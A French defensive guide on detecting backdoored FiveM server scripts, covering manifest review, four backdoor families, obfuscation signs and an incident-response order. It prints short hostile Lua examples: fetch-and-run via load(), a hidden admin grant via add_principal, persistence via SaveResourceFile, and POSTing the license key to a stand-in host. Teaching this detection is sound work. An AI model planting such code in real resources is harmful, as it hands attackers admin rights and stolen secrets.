Repérer un script FiveM backdooré

Les quatre formes que prend une backdoor, comment lire une ressource avant qu'elle ne s'exécute, et quoi faire en premier quand vous en trouvez une. Classé par ce qui vous protège vraiment.

6 minutes de lecture

Quelqu'un vous envoie un script « leak gratuit ». Vous le déposez dans resources, vous redémarrez, tout fonctionne. Trois semaines plus tard un inconnu est admin, votre base de données a disparu, ou votre serveur relaie discrètement de la publicité à vos propres joueurs.

Ce guide explique comment examiner une ressource avant qu'elle ne s'exécute, ce que les motifs signifient vraiment, et quoi faire quand vous en trouvez un.

Rien ici n'envoie vos fichiers. L'analyseur de backdoors les lit dans votre navigateur, ce qui est la seule façon sensée d'inspecter un script auquel vous ne faites déjà pas confiance.

Commencez par lire le manifeste

fxmanifest.lua décide de ce qui s'exécute. Ouvrez-le en premier, à chaque fois.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Deux questions, dans cet ordre :

  1. Chaque fichier listé a-t-il un sens pour ce que la ressource prétend faire ? Un script de parking avec un server_script nommé updater.lua mérite un regard.
  2. Quelque chose est-il chargé par un joker que vous ne pouvez pas inspecter ? server/*.lua est normal, mais cela signifie aussi qu'un fichier ajouté plus tard s'exécutera sans autre modification.

Comparez ensuite le manifeste au dossier. Un fichier présent sur le disque et absent du manifeste est en général du poids mort. Un fichier listé dans le manifeste que vous ne trouvez nulle part est bien plus inquiétant.

Les quatre formes que prend une backdoor

Presque tout ce qui est malveillant appartient à l'une de ces quatre familles. Connaître la famille compte plus que mémoriser des chaînes, parce que les chaînes changent et les formes non.

1. Du code téléchargé puis exécuté

La ressource télécharge quelque chose et l'exécute. Quoi que vous auditiez aujourd'hui, elle peut servir autre chose demain.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString et assert(load(...)) transforment du texte en code exécuté. Associés à un appel HTTP dans le même fichier, il n'existe aucune lecture innocente.

La mise à jour automatique est le prétexte habituel. Un vrai updater télécharge un fichier et vous demande de redémarrer. Il n'exécute pas en mémoire ce qu'il vient de télécharger.

2. Des permissions accordées à l'exécution

La famille la plus discrète, et celle qu'on rate, parce que rien ne paraît anormal jusqu'au jour où un compte que personne n'a créé a tous les accès.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Deux choses clochent. add_principal à l'exécution ne devrait jamais venir d'une ressource que vous n'avez pas écrite, et l'événement prend un identifiant fourni par le client, donc n'importe qui peut l'appeler avec le sien.

Cherchez add_principal, add_ace et ExecuteCommand dans n'importe quelle ressource. Dans un script de gameplay normal, le compte est de zéro.

3. Persistance et réinjection

Le plus intéressant dans une backdoor sérieuse, c'est ce qui se passe après que vous l'avez trouvée.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile permet à une ressource de réécrire une autre ressource. Supprimez le script malveillant et il revient depuis celle qui a été réécrite. C'est pourquoi trouver un fichier ne veut pas dire être propre.

4. Exfiltration de secrets

La raison pour laquelle cela valait la peine d'être planté.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

Une ressource qui lit sv_licenseKey, steam_webApiKey, rcon_password ou votre chaîne de connexion MySQL n'a aucune raison légitime de le faire. Une URL de webhook Discord que vous n'avez pas ajoutée non plus.

L'obfuscation n'est pas le délit, mais c'est le signal

Beaucoup de scripts payants sont obfusqués pour protéger une licence : l'obfuscation seule ne signifie pas malveillant. Ce qu'elle signifie, c'est que vous ne pouvez pas auditer, et c'est une décision à prendre délibérément plutôt que par accident.

Ce que vous voyezCe que cela signifie
\x68\x74\x74\x70 répétéchaînes échappées en hexa, cachant une URL ou un nom
string.char(104, 116, 116, 112)la même idée, en décimal
Une seule ligne de plus de 800 caractèresminifié, pour que personne ne survole
Des noms du style _0x4f2aun obfuscateur JavaScript, courant dans les payloads NUI
LPH_NO_VIRTUALIZE, IronBrew, Luraphun obfuscateur Lua, nommément

La règle honnête : un fichier obfusqué venant d'un vendeur payant que vous avez choisi est un risque que vous avez accepté. Un fichier obfusqué dans un leak gratuit est un risque que quelqu'un a choisi pour vous.

Les blobs hexa et Base64 se décodent en une étape avec le décodeur Base64, hexa et URL. Il tourne aussi dans votre navigateur, donc vous ne collez pas un payload suspect sur le site d'un inconnu.

À faire avant chaque installation

Une routine courte attrape l'essentiel.

  1. Analysez l'archive. Déposez le .zip directement dans l'analyseur de backdoors. Il lit les zips sans les extraire où que ce soit.
  2. Lisez le manifeste, et comparez-le au contenu du dossier.
  3. Cherchez les quatre familles. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Installez d'abord sur un serveur de test, avec une clé de licence jetable et une base de données qui ne contient rien.
  5. Surveillez la console au premier démarrage. Les backdoors qui appellent chez elles le font généralement tout de suite, et une erreur HTTP au boot est un cadeau.

Quand vous en trouvez une

L'ordre compte, et l'instinct de supprimer le fichier en premier est mauvais.

  1. Arrêtez le serveur. Pas la ressource. Le serveur.
  2. Changez tous les secrets : sv_licenseKey depuis le portail Cfx, le mot de passe de votre base, vos webhooks Discord, toute clé d'API dans un convar. Considérez que tout ce qui est dans server.cfg est connu. Le générateur de secrets produit les remplacements sans les envoyer nulle part.
  3. Vérifiez les add_principal dans vos propres configs et retirez chaque identifiant que vous ne reconnaissez pas.
  4. Auditez les autres ressources, à cause de la famille 3. Une seule backdoor ayant utilisé SaveResourceFile implique de relire les autres.
  5. Seulement ensuite, supprimez la ressource, et restaurez une sauvegarde antérieure à son installation si vous en avez une.

Changer votre clé de licence sans changer le mot de passe de votre base ne règle rien. Celui qui avait l'exécution de code côté serveur avait aussi vos identifiants.

Ce que cela ne peut pas vous dire

La recherche de motifs dans du texte source n'est pas une preuve.

Une backdoor soignée peut éviter tous les motifs de ce guide, et du code propre en déclenche parfois : une ressource légitime peut très bien appeler PerformHttpRequest, et beaucoup de bons scripts lisent un convar. C'est pourquoi l'analyseur explique ce que chaque signalement signifie au lieu d'afficher un verdict.

Traitez un rapport comme une liste d'endroits où regarder, pas comme un jugement. Le jugement reste le vôtre, et c'est bien ainsi.

Les outils utilisés dans ce guide